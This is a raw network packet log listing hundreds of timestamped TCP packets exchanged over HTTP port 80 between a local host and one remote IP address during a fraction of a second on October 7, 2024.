Oct 7, 2024 03:03:06.542382956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542413950 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542432070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542447090 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542455912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542478085 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542491913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542510986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542525053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542603016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542607069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542644978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542655945 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542676926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542695045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542715073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542726040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542757034 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542778015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542803049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542804956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542835951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542855978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542870998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542872906 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542903900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542916059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542941093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542948961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.542973042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.542994022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543009043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543024063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543076992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543106079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543140888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543154001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543169022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543184996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543212891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543215036 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543247938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543262005 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543287992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543294907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543328047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543340921 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543359041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543375015 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543399096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543409109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543442011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543462992 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543473959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543479919 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543519020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543524027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543560028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543572903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543593884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543607950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543627977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543641090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543654919 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543674946 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543685913 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543694973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543731928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543734074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543765068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543781996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543797016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543811083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543844938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543848991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543876886 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543895006 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543908119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543916941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543940067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543953896 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.543972015 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.543982029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544017076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544019938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544049978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544068098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544090033 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544120073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544167042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544182062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544214010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544234991 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544254065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544264078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544296980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544311047 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544328928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544341087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544362068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544374943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544394016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544406891 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544425011 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544440031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544456959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544466972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544488907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544502020 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544521093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544533014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544565916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.544570923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.544615030 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549387932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549442053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549518108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549550056 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549566984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549591064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549617052 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549665928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549666882 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549700022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549715042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549732924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549747944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549765110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549777031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549796104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549812078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549839973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549851894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549884081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549901962 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549915075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549926996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549947977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549961090 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.549979925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.549992085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.550012112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.550023079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.550045013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.550056934 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.550086021 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613010883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613042116 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613097906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613123894 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613156080 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613169909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613220930 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613233089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613281012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613286972 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613326073 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613328934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613363028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613377094 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613394022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613409996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613425970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613436937 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613456964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613478899 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613502026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613574028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613606930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613624096 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613640070 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613651037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613671064 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613682985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613706112 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.613714933 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.613749981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623029947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623080969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623081923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623111010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623130083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623157978 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623159885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623208046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623213053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623224974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623270035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623291016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623316050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623347998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623363018 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623398066 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623456001 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623507023 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623509884 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623550892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623553038 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623585939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623603106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623631954 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623636961 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623670101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623682022 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623701096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623709917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623733997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623744011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623765945 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623790026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623797894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623801947 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623837948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623842001 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623871088 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623883963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623903990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623910904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623934984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623944998 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.623969078 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.623980045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.624016047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.624036074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.624059916 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.632699966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.632759094 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.632772923 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.632802010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.632821083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.632850885 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.632853031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.632894039 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.632899046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.632931948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.632946014 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.632962942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.632977009 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.632994890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633008003 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633044004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633114100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633164883 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633167982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633218050 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633255959 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633301973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633305073 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633342028 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633353949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633384943 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633392096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633436918 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633438110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633470058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633483887 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633517027 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633528948 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633565903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633601904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633608103 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633609056 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633635998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633678913 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633687019 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633718967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633734941 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633749962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633768082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633783102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633790970 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633815050 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633826971 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633847952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633857965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633878946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633910894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633941889 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633943081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633963108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633963108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.633975983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.633999109 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634006977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634027004 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634038925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634085894 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634171963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634174109 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634223938 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634238958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634243011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634295940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634315968 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634315968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634363890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634366035 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634397984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634418011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634429932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634458065 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634479046 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634480000 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634510040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634527922 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634541988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634562016 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634576082 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634593010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634622097 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634624004 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634655952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634675026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634704113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634705067 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634740114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634752035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634761095 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634783983 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634789944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634829998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634830952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634861946 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634875059 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634892941 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634905100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634923935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634939909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634954929 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634973049 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.634990931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:06.634999037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:06.635023117 CEST	80	49731	46.8.231.109	192.168.2.4
